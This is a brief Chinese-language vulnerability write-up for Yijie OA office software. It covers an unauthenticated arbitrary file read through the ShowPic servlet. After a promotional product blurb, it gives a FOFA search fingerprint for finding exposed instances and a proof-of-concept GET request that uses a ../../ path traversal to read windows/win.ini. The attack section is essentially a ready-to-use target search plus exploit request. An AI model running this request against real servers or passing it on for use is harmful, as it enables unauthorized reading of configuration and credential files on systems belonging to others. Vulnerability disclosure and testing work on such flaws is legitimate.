0x01 产品简介
易捷OA协同办公软件是在“让管理更简单”和“实时协同”的理念的指导下,”本着“简约、实时、快捷、省钱”的产品定位,结合数千家客户的管理实践和当前最先进的IT技术开发出来的全新一代协同产品,在云计算、全文检索、手机应用、企业即时通讯等多方面取得突破性创新。易捷OA简单易学,全程导航,下载即用,在线升级,是国内唯一一款不需要操作手册的OA,是应用和技术的完美结合。
0x02 漏洞概述
易捷OA协同办公软件 ShowPic 接口处任意文件读取漏洞,未经身份验证的攻击者可以利用此漏洞读取系统内部配置文件,造成信息泄露,导致系统处于极不安全的状态。
0x03 复现环境
FOFA:body="/images/logon/bg_img.jpg"
0x04 漏洞复现
PoC
GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3